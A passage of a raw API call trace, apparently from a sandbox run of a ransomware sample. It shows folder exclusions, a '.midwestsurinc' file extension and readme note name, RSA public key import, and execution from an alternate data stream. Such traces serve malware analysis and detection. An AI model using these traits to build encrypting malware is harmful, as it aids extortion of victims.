lpMultiByteStr=0x21ec288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0038.970] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eda58 [0038.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21ec288, cbMultiByte=5, lpWideCharStr=0x21eda58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0038.970] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21edae0 [0038.970] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eda58) returned 1 [0038.970] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed2a8 [0038.970] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eda58 [0038.970] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21edae0) returned 1 [0038.970] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec1f8) returned 1 [0038.970] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed2d8) returned 1 [0038.970] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec288) returned 1 [0038.970] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed2c8) returned 1 [0038.970] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed5e8) returned 1 [0038.970] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x2800) returned 0x21f2850 [0038.970] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec288 [0038.970] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec288) returned 1 [0038.970] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec288 [0038.970] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed5e8 [0038.970] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed2c8 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec1f8 [0038.971] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec288) returned 1 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec288 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed2d8 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec1b0 [0038.971] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec288) returned 1 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec288 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed298 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec168 [0038.971] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec288) returned 1 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec288 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed288 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.971] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec288) returned 1 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec288 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x20) returned 0x21ebc08 [0038.971] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed5e8) returned 1 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed278 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec240 [0038.971] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec288) returned 1 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec288 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed268 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.971] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec288) returned 1 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed258 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec288 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x20) returned 0x21f5058 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed248 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec5e8 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed238 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec630 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed228 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec678 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed218 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec6c0 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed208 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec708 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed1e8 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec750 [0038.971] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed1f8 [0038.972] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec798 [0038.972] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec1f8) returned 1 [0038.972] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed2c8) returned 1 [0038.972] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec1b0) returned 1 [0038.972] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed2d8) returned 1 [0038.972] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec168) returned 1 [0038.972] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed298) returned 1 [0038.972] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.972] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed288) returned 1 [0038.972] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec240) returned 1 [0038.972] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed278) returned 1 [0038.972] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.972] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed268) returned 1 [0038.972] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec288) returned 1 [0038.972] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed258) returned 1 [0038.972] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebc08) returned 1 [0038.972] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec288 [0038.972] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec288) returned 1 [0038.972] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec288 [0038.972] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec288) returned 1 [0038.972] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec288 [0038.972] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec288) returned 1 [0038.972] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec288 [0038.972] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec288) returned 1 [0038.972] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec288 [0038.972] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec288) returned 1 [0038.972] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec288 [0038.972] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec288) returned 1 [0038.972] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec288 [0038.972] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec288) returned 1 [0038.972] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed5e8 [0038.972] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed258 [0038.972] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec288 [0038.972] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed268 [0038.972] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.972] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed278 [0038.972] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec240 [0038.972] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed288 [0038.972] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.972] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x20) returned 0x21ebc08 [0038.972] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed5e8) returned 1 [0038.973] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed298 [0038.973] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec168 [0038.973] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed2d8 [0038.973] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec1b0 [0038.973] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed2c8 [0038.973] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec1f8 [0038.973] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec5e8) returned 1 [0038.973] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed248) returned 1 [0038.973] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec630) returned 1 [0038.973] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed238) returned 1 [0038.973] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec678) returned 1 [0038.973] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed228) returned 1 [0038.973] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec6c0) returned 1 [0038.973] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed218) returned 1 [0038.973] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec708) returned 1 [0038.973] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed208) returned 1 [0038.973] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec750) returned 1 [0038.973] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed1e8) returned 1 [0038.973] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec798) returned 1 [0038.973] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed1f8) returned 1 [0038.973] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f5058) returned 1 [0038.973] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21ec1f8, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0038.973] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21ec1f8, cbMultiByte=25, lpWideCharStr=0x21edae0, cchWideChar=25 | out: lpWideCharStr="System Volume Information") returned 25 [0038.973] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21ec1b0, cbMultiByte=12, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0038.973] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21ec1b0, cbMultiByte=12, lpWideCharStr=0x21edb68, cchWideChar=12 | out: lpWideCharStr="$RECYCLE.BIN") returned 12 [0038.973] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21ec168, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0038.973] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21ec168, cbMultiByte=8, lpWideCharStr=0x21edbf0, cchWideChar=8 | out: lpWideCharStr="WebCache") returned 8 [0038.973] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21ec120, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0038.973] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21ec120, cbMultiByte=6, lpWideCharStr=0x21edc78, cchWideChar=6 | out: lpWideCharStr="Caches") returned 6 [0038.973] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21ec240, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0038.973] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21ec240, cbMultiByte=11, lpWideCharStr=0x21edd00, cchWideChar=11 | out: lpWideCharStr="WindowsApps") returned 11 [0038.974] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21ec0d8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0038.974] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21ec0d8, cbMultiByte=7, lpWideCharStr=0x21edeb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0038.974] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21ec288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0038.974] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21ec288, cbMultiByte=11, lpWideCharStr=0x21edf38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0038.974] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0x21f2850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0038.974] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f2850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0038.974] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f2850, cbMultiByte=14, lpWideCharStr=0x21edfc0, cchWideChar=14 | out: lpWideCharStr="C:\\ProgramData") returned 14 [0038.974] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0x21f2850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0038.974] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f2850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0038.974] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f2850, cbMultiByte=10, lpWideCharStr=0x21ee048, cchWideChar=10 | out: lpWideCharStr="C:\\Windows") returned 10 [0038.974] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0x21f2850, nSize=0x2800 | out: lpDst="C:\\Windows\\TEMP") returned 0x10 [0038.974] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f2850, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0038.974] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f2850, cbMultiByte=15, lpWideCharStr=0x21ee0d0, cchWideChar=15 | out: lpWideCharStr="C:\\Windows\\TEMP") returned 15 [0038.974] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0x21f2850, nSize=0x2800 | out: lpDst="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 0x39 [0038.974] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f2850, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0038.974] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f2850, cbMultiByte=56, lpWideCharStr=0x21ee158, cchWideChar=56 | out: lpWideCharStr="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 56 [0038.975] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f5058, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0038.975] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f5058, cbMultiByte=14, lpWideCharStr=0x21ee1e0, cchWideChar=14 | out: lpWideCharStr=".midwestsurinc") returned 14 [0038.975] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f5058, cbMultiByte=21, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0038.975] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f5058, cbMultiByte=21, lpWideCharStr=0x21ee268, cchWideChar=21 | out: lpWideCharStr=".midwestsurinc_readme") returned 21 [0038.975] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0xffffffff) returned 0x0 [0038.975] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0cOJv9Aj24KNBa4Tg+wa\r\nv5qBoxAz4aYPx79WQ/Fv+0crkkL6Ntr+cit1qYv+kOOipAjw7bHZ3fhqS6Tcm4YL\r\nBCz2vwVHI1HtZbattwG4L5RFN/Rc/FwuzpanfLmsdBVPOwdMXBCbLqDxpgbE1Gyj\r\nAfvGH0RdbcBYbdpleKlW+CCIyC5qnCOrKXOt4ilyv8GFS20Mzuhwpb3aLPNHAZ3N\r\n4VKgtsJkVM1hf4aU5U7lGwFoQzviK8cPzeheV1B1uUTr0+3sloZ74vB4b7UZ2Usa\r\nCjv7gHkuV9U9ZYAksxV6T6ja/hetEIy/CkqvgJNhJM/iJ4aCVedjdf0oBK2J8ilE\r\n7nEypSXl/sACMVuDhxPKUDZ7cNRK7JGV49E5PftX5zPYjbn8kmhNuVYq3k+BhlQn\r\nsHFVDMRBzHJJySsmj07x3qwbSrE82ERX4PoFjUkYyYA/4CdHwUGyUFP5nCAN9uRE\r\nbkhUJD28OMUHRUoMvAu1vberKFxNNbCa5HKw1GgF/j0DvqgOCxK4wdC5vixjOZNV\r\nMTT/wlkE5Q5356N9IksFCGW2iJXSpWIHzqES6oJD8VUYIcvU8hWQHYgi7jZ6gWN3\r\nmF30p0D0Zqx2zzOmwh6si15pBzj2gyKtGY1ZMbbWWx7q5EX6l2NkpOV1p6BY6uD6\r\nRF9Z6zKY+rwjT6TANpN7PwECAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0038.975] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0cOJv9Aj24KNBa4Tg+wa\r\nv5qBoxAz4aYPx79WQ/Fv+0crkkL6Ntr+cit1qYv+kOOipAjw7bHZ3fhqS6Tcm4YL\r\nBCz2vwVHI1HtZbattwG4L5RFN/Rc/FwuzpanfLmsdBVPOwdMXBCbLqDxpgbE1Gyj\r\nAfvGH0RdbcBYbdpleKlW+CCIyC5qnCOrKXOt4ilyv8GFS20Mzuhwpb3aLPNHAZ3N\r\n4VKgtsJkVM1hf4aU5U7lGwFoQzviK8cPzeheV1B1uUTr0+3sloZ74vB4b7UZ2Usa\r\nCjv7gHkuV9U9ZYAksxV6T6ja/hetEIy/CkqvgJNhJM/iJ4aCVedjdf0oBK2J8ilE\r\n7nEypSXl/sACMVuDhxPKUDZ7cNRK7JGV49E5PftX5zPYjbn8kmhNuVYq3k+BhlQn\r\nsHFVDMRBzHJJySsmj07x3qwbSrE82ERX4PoFjUkYyYA/4CdHwUGyUFP5nCAN9uRE\r\nbkhUJD28OMUHRUoMvAu1vberKFxNNbCa5HKw1GgF/j0DvqgOCxK4wdC5vixjOZNV\r\nMTT/wlkE5Q5356N9IksFCGW2iJXSpWIHzqES6oJD8VUYIcvU8hWQHYgi7jZ6gWN3\r\nmF30p0D0Zqx2zzOmwh6si15pBzj2gyKtGY1ZMbbWWx7q5EX6l2NkpOV1p6BY6uD6\r\nRF9Z6zKY+rwjT6TANpN7PwECAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x21f7cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x21f7cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0038.975] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x21f7cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x0, pcbStructInfo=0x18fd24) returned 1 [0038.979] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x280) returned 0x21f7f40 [0038.979] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x21f7cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x21f7f40, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x21f7f40, pcbStructInfo=0x18fd24) returned 1 [0038.979] CryptImportPublicKeyInfo (in: hCryptProv=0x602010, dwCertEncodingType=0x10001, pInfo=0x21f7f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x21f7f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0x21f7f78*, PublicKey.cUnusedBits=0x0), phKey=0x18fd28 | out: phKey=0x18fd28*=0x606260) returned 1 [0038.980] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f7f40) returned 1 [0038.980] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f7cf8) returned 1 [0038.981] ReleaseMutex (hMutex=0xc4) returned 1 [0038.981] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f5058) returned 1 [0038.981] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x2800) returned 0x21f5058 [0038.981] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec900 [0038.981] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec900) returned 1 [0038.981] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f5058) returned 1 [0038.981] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x2800) returned 0x21f5058 [0038.981] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec900 [0038.981] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec900) returned 1 [0038.981] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec900 [0038.981] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21ec900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0038.981] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ee1e0 [0038.981] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21ec900, cbMultiByte=9, lpWideCharStr=0x21ee1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0038.981] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21ee268 [0038.981] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ee1e0) returned 1 [0038.981] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ee268) returned 1 [0038.981] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec900) returned 1 [0038.981] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f5058) returned 1 [0038.981] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f2850) returned 1 [0038.981] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.981] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed258) returned 1 [0038.981] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec240) returned 1 [0038.981] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed268) returned 1 [0038.981] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.981] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed278) returned 1 [0038.981] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec288) returned 1 [0038.981] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed288) returned 1 [0038.981] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed5e8) returned 1 [0038.981] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0038.982] StartServiceCtrlDispatcherW (lpServiceTable=0x18fdf0*(lpServiceName="", lpServiceProc=0x40d040)) returned 0 [0038.985] GetLastError () returned 0x427 [0038.985] GetCommandLineW () returned="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\Q5V3JP~1:bin" [0038.985] CommandLineToArgvW (in: lpCmdLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\Q5V3JP~1:bin", pNumArgs=0x18fddc | out: pNumArgs=0x18fddc) returned 0x606558*="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\Q5V3JP~1:bin" [0038.985] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed5e8 [0038.985] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed288 [0038.985] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, 